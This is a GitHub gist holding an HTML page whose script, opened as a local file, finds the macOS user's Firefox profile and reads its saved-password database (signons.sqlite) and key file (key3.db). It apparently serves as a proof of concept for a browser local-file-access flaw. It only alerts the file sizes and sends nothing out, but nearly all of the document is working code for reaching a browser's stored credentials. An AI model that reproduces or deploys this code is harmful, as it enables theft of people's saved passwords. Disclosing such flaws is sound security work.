Created
September 4, 2014 14:45
-
-
Save mala/ce9e04b74cdbfaf5da3c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<script> | |
function firefox_password(){ | |
var username = location.href.match(/Users\/(.*?)\//)[1]; | |
var base = "/Users/" + username + "/Library/Application\ Support/Firefox/"; | |
var xhr = new XMLHttpRequest; | |
read_file(base + "profiles.ini", function(res){ | |
var v = res; | |
var profile_path = base + v.match(/Path=(.*?)\n/)[1]; | |
alert("profile path is " + profile_path); | |
read_file(profile_path + "/key3.db", function(res){ alert("key3.db: " + res.length + " bytes") }); | |
read_file(profile_path + "/signons.sqlite", function(res){ alert("signons.sqlite:" + res.length + " bytes") }); | |
}); | |
} | |
function read_file(path, callback){ | |
var xhr = new XMLHttpRequest; | |
xhr.open("GET", path, true); | |
xhr.onload = function(){ | |
callback(xhr.responseText); | |
}; | |
xhr.send(null); | |
} | |
firefox_password(); | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment